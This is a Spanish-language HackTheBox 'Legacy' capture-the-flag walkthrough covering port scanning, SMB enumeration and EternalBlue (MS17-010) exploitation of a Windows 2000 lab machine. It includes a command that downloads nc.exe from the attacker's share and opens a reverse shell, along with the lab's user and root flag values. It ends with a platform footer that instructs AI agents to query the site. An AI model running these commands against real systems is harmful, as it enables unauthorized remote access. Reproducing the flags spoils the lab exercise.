> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Guía de HackTheBox Legacy

Guía de la máquina HackTheBox Legacy Fácil Windows que cubre enumeración SMB y explotación de MS17-010 EternalBlue.

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración SMB
* Explotación de MS17-010 EternalBlue (Triple Z Exploit)
  {% endhint %}

## Reconocimiento

### Configuración del entorno

Crea un directorio de trabajo e inicializa el entorno.

{% code overflow="wrap" %}

```bash
mkdir Legacy
cd Legacy
mkt
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWO6ixDALcmfq4HtllC0s%2Fimage.png?alt=media&amp;token=91e9abfd-1766-4627-a155-88a022587c5e" alt="" width="563"><figcaption></figcaption></figure>

### Configuración del objetivo

Establece el objetivo y confirma que responde como un host Windows.

{% code overflow="wrap" %}

```bash
settarget 10.129.227.181 Legacy
ping -c 1 10.129.227.181
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fk3fHQt04AcLG5sFUV1cc%2Fimage.png?alt=media&amp;token=179a2c76-32a4-4f85-8f67-45310a49a7b3" alt="" width="563"><figcaption></figcaption></figure>

### Escaneo de puertos

Escanea todos los puertos TCP en busca de servicios abiertos.

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fvm3f5NWvEUKMF8W0PbGs%2Fimage.png?alt=media&amp;token=ea128cfc-862d-4599-89bf-f92396a3b6c6" alt=""><figcaption></figcaption></figure>

Extrae los puertos descubiertos del resultado del escaneo.

{% code overflow="wrap" %}

```bash
extractPorts allPorts
```

{% endcode %}

**Puertos abiertos:** `135`, `139`, y `445`.

Revisa los servicios identificados.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNClc1QMGNPCBuGTbeWQn%2Fimage.png?alt=media&amp;token=37e5ee38-ff6b-4682-b9b9-8f8216b81f60" alt="" width="563"><figcaption></figcaption></figure>

Ejecuta un escaneo dirigido de versiones y scripts por defecto. Puerto `445` expone Microsoft-DS SMB.

{% code overflow="wrap" %}

```bash
sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1sqSQP0kOCpts4gLVwaT%2Fimage.png?alt=media&amp;token=0ecba1af-d72f-4120-8c8d-feb6e18e095d" alt=""><figcaption></figcaption></figure>

### Enumeración SMB

Intenta la enumeración anónima y la autenticación. Ningún intento tiene éxito.

{% code overflow="wrap" %}

```bash
smbmap -H 10.129.227.181
smbclient -L 10.129.227.181 -N
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxRJKM9fBWpxwx7LJdlhK%2Fimage.png?alt=media&amp;token=c783cecf-44b0-417c-8039-dcbcd5e62fdc" alt="" width="563"><figcaption></figcaption></figure>

El sistema operativo se identifica como Windows 2000, una versión obsoleta de Windows.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F3MwOEYgDopqJMG9oCi1m%2Fimage.png?alt=media&amp;token=7b873e8e-19a9-4988-a7da-5af431b15b40" alt="" width="548"><figcaption></figcaption></figure>

### Investigación de vulnerabilidades

Busca exploits públicos de SMB que afecten a Windows 2000:

`exploit smb Windows 2000 LAN Manager github`

Varios scripts públicos apuntan a vulnerabilidades en esta versión heredada de Windows.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3B18VKEc7XwNtbsaI3V%2Fimage.png?alt=media&amp;token=b118ea65-834c-479d-a5a1-015cfc744167" alt=""><figcaption></figcaption></figure>

Usa este recurso de Exploit-DB para la vulnerabilidad EternalBlue de Windows.

{% embed url="<https://www.exploit-db.com/exploits/7132>" %}

Valida la vulnerabilidad con un escaneo de scripts de Nmap.

{% code overflow="wrap" %}

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

{% endcode %}

El escaneo confirma que el objetivo es vulnerable.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4huIMGt2OdpOJfsn4xuf%2Fimage.png?alt=media&amp;token=a1984211-c107-4a75-8cf9-130f1d8c3541" alt=""><figcaption></figcaption></figure>

### Explotación

Usa el siguiente proyecto MS17-010.

{% embed url="<https://github.com/worawit/ms17-010/>" %}

Edita el `zzzz` .

Comenta la siguiente línea:

{% code overflow="wrap" %}

```bash
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
```

{% endcode %}

Copia `nc.exe` en el directorio de trabajo.

{% code overflow="wrap" %}

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

{% endcode %}

Comparte el directorio actual por SMB para transferir el binario.

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr1ZbLUzjqHfJwwSNtcWS%2Fimage.png?alt=media&amp;token=13ae723e-4c50-490c-a0fe-15eb37450500" alt="" width="563"><figcaption></figcaption></figure>

Actualiza el script con la ruta SMB y el comando de reverse shell de abajo.

### Shell inversa

Inicia un listener en el puerto `4444`.

{% code overflow="wrap" %}

```bash
rlwrap nc -nvlp 4444
```

{% endcode %}

Reemplaza el comando en el script por:

{% code overflow="wrap" %}

```bash
service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444')
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTs188RCk2JC5ULFMuomq%2Fimage.png?alt=media&amp;token=1c398e9c-3b47-403b-a8cc-b1bc193beffc" alt=""><figcaption></figcaption></figure>

### Flags

Recupera la bandera de usuario.

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\john\Desktop\user.txt"
```

{% endcode %}

* e69af0e4f443de7e36876fda4ec7644f

La shell también proporciona acceso a la flag de Administrador.

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
```

{% endcode %}

* 993442d258b0e0ec917cae9e695d5713

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJRmsBEwGYMckLCzdpsX%2Fimage.png?alt=media&amp;token=e871c9c9-8c01-4b92-a82a-c16d95c79d94" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fao1H1Vv1Y3iTttCs9lMR%2Fimage.png?alt=media&amp;token=f8112ef8-ee13-423f-a172-8b75880e305f" alt="" width="495"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
